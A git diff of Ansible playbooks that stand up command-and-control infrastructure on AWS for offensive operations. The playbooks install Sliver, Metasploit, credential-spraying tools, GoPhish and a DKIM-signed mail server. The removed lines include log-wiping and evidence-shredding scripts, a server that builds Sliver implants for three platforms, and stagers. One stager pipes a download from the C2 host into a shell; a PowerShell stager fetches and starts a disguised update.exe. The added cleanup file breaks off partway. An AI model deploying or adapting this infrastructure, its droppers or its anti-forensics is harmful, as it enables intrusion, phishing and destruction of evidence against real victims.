diff --git a/AWS/c2-deploy.yaml b/AWS/c2-deploy.yaml
deleted file mode 100644
index b70776a..0000000
--- a/AWS/c2-deploy.yaml
+++ /dev/null
@@ -1,479 +0,0 @@
----
-- name: Create and configure AWS EC2 instance for C2 Server
- hosts: localhost
- gather_facts: false
- connection: local
- vars_files:
- - vars.yaml
- vars:
- ssh_user: "kali"
-
- tasks:
- - block:
- - name: Select a random AWS region
- set_fact:
- selected_aws_region: "{{ aws_region_choices | random }}"
-
- - name: Set AMI ID based on region
- set_fact:
- aws_ami: "{{ ami_map[selected_aws_region] }}"
-
- - name: Create an EC2 key pair
- amazon.aws.ec2_key:
- access_key: "{{ aws_access_key }}"
- secret_key: "{{ aws_secret_key }}"
- name: "{{ instance_label }}"
- region: "{{ selected_aws_region }}"
- state: present
- register: key_pair
-
- - name: Save private key locally
- copy:
- content: "{{ key_pair.key.private_key }}"
- dest: "~/.ssh/{{ instance_label }}.pem"
- mode: "0600"
- when: key_pair.changed
-
- - name: Check if a security group with required properties already exists
- amazon.aws.ec2_security_group_info:
- filters:
- group-name: "security-sg"
- region: "{{ selected_aws_region }}"
- aws_access_key: "{{ aws_access_key }}"
- aws_secret_key: "{{ aws_secret_key }}"
- register: existing_sg
- ignore_errors: yes
-
- - name: Create a security group for the instance if it doesn't exist
- amazon.aws.ec2_group:
- name: "security-sg"
- description: "Completely open security group for instance {{ instance_label }}"
- region: "{{ selected_aws_region }}"
- aws_access_key: "{{ aws_access_key }}"
- aws_secret_key: "{{ aws_secret_key }}"
- rules:
- - proto: -1 # Allow all protocols
- cidr_ip: "0.0.0.0/0" # Open to all IPv4 addresses
- rules_egress:
- - proto: -1
- cidr_ip: "0.0.0.0/0"
- when: existing_sg.security_groups | length == 0
- register: c2_sg_result
-
- - name: Launch EC2 instance
- amazon.aws.ec2_instance:
- aws_access_key: "{{ aws_access_key | default(omit) }}"
- aws_secret_key: "{{ aws_secret_key | default(omit) }}"
- region: "{{ selected_aws_region }}"
- name: "{{ instance_label }}"
- image_id: "{{ aws_ami }}"
- instance_type: "{{ aws_instance_type }}"
- key_name: "{{ instance_label }}"
- security_groups:
- - "security-sg"
- wait: no
- volumes:
- - device_name: "/dev/xvda"
- ebs:
- volume_size: 100
- delete_on_termination: true
- register: ec2_instance
-
- - name: Set instance_id fact for cleanup
- set_fact:
- instance_id: "{{ ec2_instance.instance_ids[0] | default('') }}"
- when: ec2_instance.instances is defined and ec2_instance.instances | length > 0
-
- - name: Wait for EC2 instance to reach running state
- amazon.aws.ec2_instance_info:
- aws_access_key: "{{ aws_access_key | default(omit) }}"
- aws_secret_key: "{{ aws_secret_key | default(omit) }}"
- region: "{{ selected_aws_region }}"
- instance_ids: "{{ ec2_instance.instance_ids }}"
- register: instance_info
- retries: 10
- delay: 30
- until: instance_info.instances[0].state.name == "running"
-
- - name: Fetch the public IP of the instance
- command: >
- aws ec2 describe-instances
- --filters "Name=tag:Name,Values={{ instance_label }}"
- "Name=instance-state-name,Values=running"
- --query "Reservations[*].Instances[*].PublicIpAddress"
- --output text
- register: instance_ip_result
- environment:
- AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
- AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
- AWS_DEFAULT_REGION: "{{ selected_aws_region }}"
- retries: 3
- delay: 200
- until: instance_ip_result.stdout is not none and instance_ip_result.stdout != ""
-
- - name: Set instance_public_ip variable
- ansible.builtin.set_fact:
- instance_public_ip: "{{ instance_ip_result.stdout | trim }}"
- when: instance_ip_result is defined and instance_ip_result.stdout != ""
-
- - name: Add EC2 instance to inventory
- add_host:
- name: "{{ instance_label }}"
- ansible_host: "{{ instance_public_ip }}"
- ansible_user: kali
- ansible_ssh_private_key_file: "{{ private_key_path }}.pem"
- ansible_ssh_common_args: '-o IdentitiesOnly=yes'
-
- - name: Pause for 300 seconds to allow instance initialization
- ansible.builtin.pause:
- seconds: 300
-
- - name: Validate SSH connection with retries
- block:
- - name: Attempt SSH connection
- ansible.builtin.command:
- cmd: ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -i "{{ private_key_path }}.pem" kali@{{ instance_public_ip }} echo "SSH connection successful"
- delay: 100 # Adjust delay if needed
- retries: 2
- register: ssh_validation_result
- ignore_errors: yes
-
- - name: Fail if SSH validation fails
- ansible.builtin.fail:
- msg: "SSH connection validation failed. Check instance settings, SSH key, and security group."
- when: (ssh_validation_result is not defined or ssh_validation_result.rc != 0)
-
-- name: Configure AWS EC2 instance
- hosts: "{{ instance_label }}"
- gather_facts: true
- tasks:
-
- - name: Set a custom MOTD
- template:
- src: motd-aws.j2
- dest: /etc/motd
- owner: root
- group: root
- mode: '0644'
- become: true
- vars:
- letsencrypt_email: "{{ letsencrypt_email }}"
- mail_hostname: "{{ mail_hostname }}"
- domain: "{{ domain }}"
- gophish_admin_domain: "{{ gophish_admin_domain }}"
- gophish_site_domain: "{{ gophish_site_domain }}"
-
- - name: Hush Default Login Message
- become: true
- ansible.builtin.shell: |
- rm -rf '/usr/bin/kali-motd'
-
- - name: Update apt package list
- ansible.builtin.apt:
- update_cache: yes
- become: true
-
- - name: Install base utilities and tools via apt
- become: true
- ansible.builtin.apt:
- name:
- - git
- - wget
- - curl
- - unzip
- - python3-pip
- - python3-venv
- - tmux
- - pipx
- - nmap
- - tcpdump
- - hydra
- - john
- - hashcat
- - sqlmap
- - gobuster
- - dirb
- - enum4linux
- - dnsenum
- - seclists
- - responder
- - golang
- - proxychains
- - tor
- - crackmapexec
- - jq
- - unzip
- - postfix
- - certbot
- - opendkim
- - opendkim-tools
- - dovecot-core
- - dovecot-imapd
- - dovecot-pop3d
- - dovecot-sieve
- - dovecot-managesieved
- - yq
- state: present
-
- - name: Ensure pipx path is configured
- ansible.builtin.shell: |
- pipx ensurepath
- become: true
- args:
- executable: /bin/bash
-
- - name: Create Tools dir
- ansible.builtin.shell: |
- mkdir /home/kali/Tools
-
- - name: Install tools via pipx
- ansible.builtin.shell: |
- export PATH=$PATH:/root/.local/bin
- pipx ensurepath
- pipx install git+https://github.com/Pennyw0rth/NetExec
- pipx install git+https://github.com/blacklanternsecurity/TREVORspray
- pipx install impacket
- become: true
- args:
- executable: /bin/bash
-
- - name: Download Kerbrute
- ansible.builtin.shell: |
- mkdir -p /home/kali/Tools/Kerbrute
- wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/kali/Tools/Kerbrute/kerbrute
- chmod +x /home/kali/Tools/Kerbrute/kerbrute
- become: true
- args:
- executable: /bin/bash
-
- - name: Clone SharpCollection nightly builds
- ansible.builtin.git:
- repo: https://github.com/Flangvik/SharpCollection.git
- dest: /home/kali/Tools/SharpCollection
- version: master
-
- - name: Clone PEASS-ng
- ansible.builtin.git:
- repo: https://github.com/carlospolop/PEASS-ng.git
- dest: /home/kali/Tools/PEASS-ng
-
- - name: Clone MailSniper
- ansible.builtin.git:
- repo: https://github.com/dafthack/MailSniper.git
- dest: /home/kali/Tools/MailSniper
-
- - name: Clone Inveigh
- ansible.builtin.git:
- repo: https://github.com/Kevin-Robertson/Inveigh.git
- dest: /home/kali/Tools/Inveigh
-
- - name: Install Sliver C2 server
- ansible.builtin.shell: |
- curl https://sliver.sh/install | bash
- systemctl enable sliver
- systemctl start sliver
- become: true
-
- - name: Install Metasploit Framework (Nightly Build)
- ansible.builtin.shell: |
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /home/kali/Tools/msfinstall
- chmod 755 /home/kali/Tools/msfinstall
- /home/kali/Tools/msfinstall
- become: true
- args:
- executable: /bin/bash
-
- - name: Grab GoPhish
- ansible.builtin.shell: |
- curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/kali/Tools/gophish.zip
- unzip /home/kali/Tools/gophish.zip -d /home/kali/Tools/gophish
- rm -rf /home/kali/Tools/gophish.zip
- chmod +x /home/kali/Tools/gophish
-
- - name: Deploy Gophish config.json with custom admin port
- become: true
- template:
- src: gophish-config.j2
- dest: /home/kali/Tools/gophish/config.json
- owner: kali
- group: kali
- mode: '0644'
- vars:
- gophish_admin_port: "{{ gophish_admin_port }}"
- domain: "{{ domain }}"
-
- - name: Configure Postfix main.cf
- lineinfile:
- path: /etc/postfix/main.cf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- - { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- - { regexp: '^myorigin', line: "myorigin = $mydomain" }
- - { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- - { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- - { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- - { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- become: true
-
- - name: Configure OpenDKIM
- lineinfile:
- path: /etc/opendkim.conf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^Domain', line: "Domain {{ domain }}" }
- - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- - { regexp: '^Selector', line: "Selector mail" }
- - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^Syslog', line: "Syslog yes" }
- - { regexp: '^UMask', line: "UMask 002" }
- - { regexp: '^Mode', line: "Mode sv" }
- become: true
-
- - name: Create DKIM directory
- file:
- path: /etc/opendkim/keys/{{ domain }}
- state: directory
- owner: opendkim
- group: opendkim
- mode: 0700
- become: true
-
- - name: Generate DKIM keys
- command: >
- opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
- args:
- creates: /etc/opendkim/keys/{{ domain }}/mail.private
- become: true
-
- - name: Set permissions for DKIM keys
- file:
- path: /etc/opendkim/keys/{{ domain }}/mail.private
- owner: opendkim
- group: opendkim
- mode: 0600
- become: true
-
- - name: Configure OpenDKIM TrustedHosts
- copy:
- content: |
- 127.0.0.1
- ::1
- localhost
- {{ domain }}
- dest: /etc/opendkim/TrustedHosts
- owner: opendkim
- group: opendkim
- mode: 0644
- become: true
-
- - name: Enable submission port (587) in master.cf
- blockinfile:
- path: /etc/postfix/master.cf
- insertafter: '^#submission'
- block: |
- submission inet n - y - - smtpd
- -o syslog_name=postfix/submission
- -o smtpd_tls_security_level=encrypt
- -o smtpd_sasl_auth_enable=yes
- -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
- -o smtpd_relay_restrictions=permit_sasl_authenticated,reject
- become: true
-
- - name: Configure Dovecot for Postfix SASL
- blockinfile:
- path: /etc/dovecot/conf.d/10-master.conf
- insertafter: '^service auth {'
- block: |
- # Postfix smtp-auth
- unix_listener /var/spool/postfix/private/auth {
- mode = 0660
- user = postfix
- group = postfix
- }
- become: true
-
- - name: Set Dovecot auth_mechanisms
- lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^auth_mechanisms'
- line: 'auth_mechanisms = plain login'
- become: true
-
- - name: Create Dovecot password file for SASL authentication
- file:
- path: /etc/dovecot/passwd
- state: touch
- mode: '0600'
- owner: dovecot
- group: dovecot
- become: true
-
- - name: Add SMTP auth user to Dovecot
- lineinfile:
- path: /etc/dovecot/passwd
- line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
- become: true
-
- - name: Disable system auth and use passwd-file
- lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^!include auth-system.conf.ext'
- line: '#!include auth-system.conf.ext'
- become: true
-
- - name: Add auth-passwdfile configuration
- blockinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- insertafter: '^auth_mechanisms ='
- block: |
- passdb {
- driver = passwd-file
- args = scheme=sha512_crypt /etc/dovecot/passwd
- }
- userdb {
- driver = static
- args = uid=vmail gid=vmail home=/var/vmail/%u
- }
- become: true
-
- - name: Create vmail group
- group:
- name: vmail
- gid: 5000
- state: present
- become: true
-
- - name: Create vmail user
- user:
- name: vmail
- uid: 5000
- group: vmail
- create_home: no
- become: true
-
- - name: Restart Postfix
- service:
- name: postfix
- state: restarted
- become: true
-
- - name: Restart Dovecot
- service:
- name: dovecot
- state: restarted
- become: true
\ No newline at end of file
diff --git a/AWS/c2.yml b/AWS/c2.yml
index 70db0ea..537aabc 100644
--- a/AWS/c2.yml
+++ b/AWS/c2.yml
@@ -1,381 +1,148 @@
---
+# AWS C2 Deployment Playbook
+
- name: Deploy AWS C2 server
hosts: localhost
gather_facts: false
connection: local
+ vars_files:
+ - vars.yaml
vars:
- region: "{{ aws_region | default('us-east-1') }}"
- instance_type: "{{ size | default('t2.medium') }}"
- instance_name: "{{ c2_name | default('c2') }}"
- domain: "{{ domain | default('example.com') }}"
- c2_subdomain: "mail"
+ # Default values for required variables
+ ssh_user: "{{ ssh_user | default('kali') }}"
+ aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
+ instance_type: "{{ aws_instance_type | default('t2.medium') }}"
+
+ # Generate random instance name if not provided
+ c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
tasks:
- - name: Set a random AWS region if not specified
- set_fact:
- selected_aws_region: "{{ aws_region_choices | random }}"
- when: aws_region is not defined
-
- - name: Create an EC2 key pair
+ - name: Validate required AWS credentials
+ assert:
+ that:
+ - aws_access_key is defined and aws_access_key != ""
+ - aws_secret_key is defined and aws_secret_key != ""
+ fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
+
+ - name: Create EC2 key pair for C2
amazon.aws.ec2_key:
- name: "{{ instance_name }}"
- region: "{{ region }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ name: "{{ c2_name }}"
+ region: "{{ aws_region }}"
state: present
- register: key_pair
+ register: c2_key_pair
- - name: Save private key locally
+ - name: Save C2 private key locally
copy:
- content: "{{ key_pair.key.private_key }}"
- dest: "~/.ssh/{{ instance_name }}.pem"
+ content: "{{ c2_key_pair.key.private_key }}"
+ dest: "~/.ssh/{{ c2_name }}.pem"
mode: "0600"
- when: key_pair.changed
+ when: c2_key_pair.changed and c2_key_pair.key.private_key is defined
- - name: Create security group for C2 server
+ - name: Create a security group for the C2 server
amazon.aws.ec2_group:
- name: "{{ instance_name }}-sg"
- description: "Security group for C2 server"
- region: "{{ region }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ name: "{{ c2_name }}-sg"
+ description: "Security group for C2 server {{ c2_name }}"
+ region: "{{ aws_region }}"
rules:
- proto: tcp
ports:
- 22
- - 50051 # Sliver gRPC port
- - 8888 # C2 HTTP listener
- - 8443 # Beacon server
+ - 80
+ - 443
+ - 8888 # Sliver HTTP listener
+ - 50051 # Sliver gRPC port
+ - 31337 # Additional C2 port
cidr_ip: 0.0.0.0/0
rules_egress:
- proto: -1
cidr_ip: 0.0.0.0/0
- register: c2_sg
+ register: c2_sg_result
- name: Launch C2 EC2 instance
amazon.aws.ec2_instance:
- name: "{{ instance_name }}"
- region: "{{ region }}"
- image_id: "{{ ami_map[region] }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ region: "{{ aws_region }}"
+ name: "{{ c2_name }}"
+ image_id: "{{ ami_map[aws_region] }}"
instance_type: "{{ instance_type }}"
- key_name: "{{ instance_name }}"
- security_group: "{{ c2_sg.group_id }}"
- network:
- assign_public_ip: true
- tags:
- Name: "{{ instance_name }}"
- Role: "c2"
+ key_name: "{{ c2_name }}"
+ security_groups:
+ - "{{ c2_name }}-sg"
wait: yes
+ tags:
+ Name: "{{ c2_name }}"
+ Role: "c2"
+ volumes:
+ - device_name: "/dev/xvda"
+ ebs:
+ volume_size: 100
+ delete_on_termination: true
register: c2_instance
- - name: Save C2 IP
+ - name: Set c2_ip for later use
set_fact:
c2_ip: "{{ c2_instance.instances[0].public_ip_address }}"
+ c2_instance_id: "{{ c2_instance.instances[0].instance_id }}"
- - name: Wait for SSH to become available
+ - name: Wait for C2 SSH to be available
wait_for:
host: "{{ c2_ip }}"
port: 22
- delay: 10
+ delay: 30
timeout: 300
state: started
- - name: Add C2 server to inventory
+ - name: Add C2 to inventory
add_host:
- name: c2
+ name: "c2"
+ groups: "c2servers"
ansible_host: "{{ c2_ip }}"
- ansible_user: "{{ ssh_user | default('kali') }}"
- ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
- groups: c2servers
+ ansible_user: "{{ ssh_user }}"
+ ansible_ssh_private_key_file: "~/.ssh/{{ c2_name }}.pem"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
- name: Configure C2 server
hosts: c2servers
become: true
+ gather_facts: true
+ vars_files:
+ - vars.yaml
vars:
- domain: "{{ domain | default('example.com') }}"
- c2_subdomain: "mail"
- letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
- zero_logs: "{{ zero_logs | default(true) }}"
- redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
-
+ redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}"
+ c2_subdomain: "{{ c2_subdomain | default('mail') }}"
tasks:
- - name: Update apt cache
+ - name: Wait for apt to be available
apt:
update_cache: yes
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
- - name: Install required packages
- apt:
- name:
- - git
- - wget
- - curl
- - python3-pip
- - golang
- - tmux
- - nmap
- - jq
- - secure-delete
- - socat
- state: present
-
- - name: Create directories for C2 operation
- file:
- path: "{{ item }}"
- state: directory
- mode: '0700'
- owner: root
- group: root
- with_items:
- - /opt/c2
- - /opt/beacons
- - /opt/payloads
-
- - name: Create clean-logs.sh script
- copy:
- content: |
- #!/bin/bash
- # Zero-logs maintenance script
- umask 077
-
- # Disable syslog temporarily
- systemctl stop rsyslog 2>/dev/null
- systemctl stop systemd-journald 2>/dev/null
-
- # Clear system logs
- find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
- find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
- find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
- journalctl --vacuum-time=1s 2>/dev/null
-
- # Clear bash history
- for histfile in /root/.bash_history /home/*/.bash_history; do
- [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
- done
- history -c
-
- # Clear Sliver logs
- find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
-
- # Clear temporary directories
- rm -rf /tmp/* /var/tmp/* 2>/dev/null
-
- # Restart logging services
- systemctl start systemd-journald 2>/dev/null
- systemctl start rsyslog 2>/dev/null
-
- echo "[+] Log cleaning complete"
- exit 0
- dest: /opt/c2/clean-logs.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create secure-exit.sh script
- copy:
- content: |
- #!/bin/bash
- # Secure cleanup script
-
- # Configuration
- SECURE_DELETE_PASSES=7
- MEMORY_WIPE=true
-
- # Set secure umask
- umask 077
-
- # Function to securely delete files
- secure_delete() {
- local target=$1
- echo "[+] Securely deleting: $target"
-
- if command -v srm > /dev/null; then
- srm -vzf $target 2>/dev/null
- elif command -v shred > /dev/null; then
- shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
- else
- # Fallback to dd if specialized tools aren't available
- dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
- dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
- rm -f $target 2>/dev/null
- fi
- }
-
- echo "[+] Beginning secure exit procedure..."
-
- # Stop all operational services
- echo "[+] Stopping operational services..."
- services=("sliver")
- for service in "${services[@]}"; do
- systemctl stop $service 2>/dev/null
- done
-
- # Kill any remaining operational processes
- echo "[+] Terminating operational processes..."
- process_names=("sliver" "nc" "python")
- for proc in "${process_names[@]}"; do
- pkill -9 $proc 2>/dev/null
- done
-
- # Clear all logs
- echo "[+] Clearing logs..."
- bash /opt/c2/clean-logs.sh
-
- # Securely delete operational files
- echo "[+] Removing operational files..."
- operational_dirs=(
- "/opt/c2"
- "/opt/beacons"
- "/opt/payloads"
- "/root/.sliver"
- )
-
- for dir in "${operational_dirs[@]}"; do
- find $dir -type f 2>/dev/null | while read file; do
- secure_delete "$file"
- done
- rm -rf $dir 2>/dev/null
- done
-
- # Remove SSH keys
- echo "[+] Removing SSH keys and configs..."
- find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
- secure_delete "$file"
- done
-
- # Clean memory if requested
- if $MEMORY_WIPE; then
- echo "[+] Wiping system memory..."
- sync
- echo 3 > /proc/sys/vm/drop_caches
- swapoff -a
- swapon -a
- fi
-
- echo "[+] Secure exit completed. Infrastructure has been sanitized."
-
- # Remove this script itself
- exec shred -n $SECURE_DELETE_PASSES -uz $0
- dest: /opt/c2/secure-exit.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create beacon-server.sh script
- copy:
- content: |
- #!/bin/bash
- # Beacon server script
-
- # Configuration
- BEACONS_DIR="/opt/beacons"
- WEBSERVER_PORT=8443
-
- # Set secure umask
- umask 077
-
- # Ensure beacons directory exists
- mkdir -p $BEACONS_DIR
-
- # Generate beacons using Sliver
- echo "[+] Generating beacons for all platforms..."
-
- # Make sure Sliver server is running
- if ! pgrep -x "sliver-server" > /dev/null; then
- echo "[!] Sliver server is not running, starting it..."
- systemctl start sliver
- sleep 5
- fi
-
- # Generate Windows beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
-
- # Generate Linux beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
-
- # Generate macOS beacon
- sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
-
- # Generate stagers
- echo "#!/bin/bash
- curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
- chmod +x $BEACONS_DIR/beacon.sh
-
- echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
- \$url = 'http://{{ ansible_host }}:8443/windows.exe';
- \$outpath = \"\$env:TEMP\\update.exe\";
- Invoke-WebRequest -Uri \$url -OutFile \$outpath;
- Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
-
- echo "[+] All beacons generated successfully"
-
- # Serve beacons using Python's HTTP server
- echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
- cd $BEACONS_DIR
- python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
- SERVER_PID=$!
-
- echo "[+] Beacon server started with PID $SERVER_PID"
- echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
-
- # Keep script running
- trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
- while true; do sleep 1; done
- dest: /opt/c2/beacon-server.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Install Sliver C2 framework
- shell: |
- curl https://sliver.sh/install | bash
- args:
- creates: /usr/local/bin/sliver-server
-
- - name: Create Sliver service file
- copy:
- content: |
- [Unit]
- Description=Sliver C2 Server
- After=network.target
-
- [Service]
- Type=simple
- User=root
- Group=root
- WorkingDirectory=/root/.sliver
- ExecStart=/usr/local/bin/sliver-server daemon
- Restart=always
- RestartSec=10
-
- # Security measures
- PrivateTmp=true
- ProtectHome=false
- NoNewPrivileges=true
-
- # Hide process information
- StandardOutput=null
- StandardError=null
-
- [Install]
- WantedBy=multi-user.target
- dest: /etc/systemd/system/sliver.service
- mode: '0644'
- owner: root
- group: root
-
- - name: Start and enable Sliver service
- systemd:
- name: sliver
- state: started
- enabled: yes
- daemon_reload: yes
-
- - name: Set up cron job for log cleaning
- cron:
- name: "Clean logs"
- minute: "0"
- hour: "*/6"
- job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
- when: zero_logs|bool
-
- - name: Start beacon server
- shell: |
- nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
- args:
- creates: /opt/beacons/windows.exe
\ No newline at end of file
+ - name: Include common tool installation tasks
+ include_tasks: "../tasks/install_tools.yml"
+
+ - name: Include common C2 configuration tasks
+ include_tasks: "../tasks/configure_c2.yml"
+
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
+
+ - name: Include common mail server configuration tasks
+ include_tasks: "../tasks/configure_mail.yml"
+
+ - name: Print deployment summary
+ debug:
+ msg:
+ - "C2 Server Deployment Complete!"
+ - "-----------------------------"
+ - "C2 Server IP: {{ ansible_host }}"
+ - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "GoPhish Admin Port: {{ gophish_admin_port }}"
+ - "SSH Key: ~/.ssh/{{ hostvars['localhost']['c2_name'] }}.pem"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/AWS/cleanup.yml b/AWS/cleanup.yml
new file mode 100644
index 0000000..399311f
--- /dev/null
+++ b/AWS/cleanup.yml
@@ -0,0 +1,160 @@
+---
+# AWS Cleanup Playbook
+# Used to tear down AWS infrastructure
+
+- name: Clean up AWS infrastructure
+ hosts: localhost
+ connection: local
+ gather_facts: false
+ vars_files:
+ - vars.yaml
+ vars:
+ aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
+ cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}"
+ cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}"
+ confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
+
+ tasks:
+ - name: Validate required AWS credentials
+ assert:
+ that:
+ - aws_access_key is defined and aws_access_key != ""
+ - aws_secret_key is defined and aws_secret_key != ""
+ fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
+
+ - name: Confirm cleanup if required
+ pause:
+ prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue"
+ register: confirmation
+ when: confirm_cleanup
+
+ - name: Exit if not confirmed
+ meta: end_play
+ when: confirm_cleanup and confirmation.user_input != 'yes'
+
+ - name: Find redirector instance ID
+ command: >
+ aws ec2 describe-instances
+ --filters "Name=tag:Name,Values={{ redirector_name }}"
+ --query "Reservations[*].Instances[*].InstanceId"
+ --output text
+ --region {{ aws_region }}
+ environment:
+ AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
+ AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
+ register: redirector_id_result
+ failed_when: false
+ changed_when: false
+ when: cleanup_redirector
+
+ - name: Find C2 instance ID
+ command: >
+ aws ec2 describe-instances
+ --filters "Name=tag:Name,Values={{ c2_name }}"
+ --query "Reservations[*].Instances[*].InstanceId"
+ --output text
+ --region {{ aws_region }}
+ environment:
+ AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
+ AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
+ register: c2_id_result
+ failed_when: false
+ changed_when: false
+ when: cleanup_c2
+
+ - name: Set instance IDs as facts
+ set_fact:
+ redirector_instance_id: "{{ redirector_id_result.stdout | trim }}"
+ when: cleanup_redirector and redirector_id_result.stdout is defined and redirector_id_result.stdout | trim != ""
+
+ - name: Set C2 instance ID as fact
+ set_fact:
+ c2_instance_id: "{{ c2_id_result.stdout | trim }}"
+ when: cleanup_c2 and c2_id_result.stdout is defined and c2_id_result.stdout | trim != ""
+
+ - name: Terminate redirector instance
+ amazon.aws.ec2_instance:
+ state: absent
+ instance_ids:
+ - "{{ redirector_instance_id }}"
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ when: cleanup_redirector and redirector_instance_id is defined and redirector_instance_id != ""
+ register: redirector_termination
+
+ - name: Terminate C2 instance
+ amazon.aws.ec2_instance:
+ state: absent
+ instance_ids:
+ - "{{ c2_instance_id }}"
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ when: cleanup_c2 and c2_instance_id is defined and c2_instance_id != ""
+ register: c2_termination
+
+ - name: Wait for instances to be fully terminated
+ pause:
+ seconds: 30
+ when:
+ - (redirector_termination is defined and redirector_termination.changed) or
+ (c2_termination is defined and c2_termination.changed)
+
+ - name: Delete redirector security group
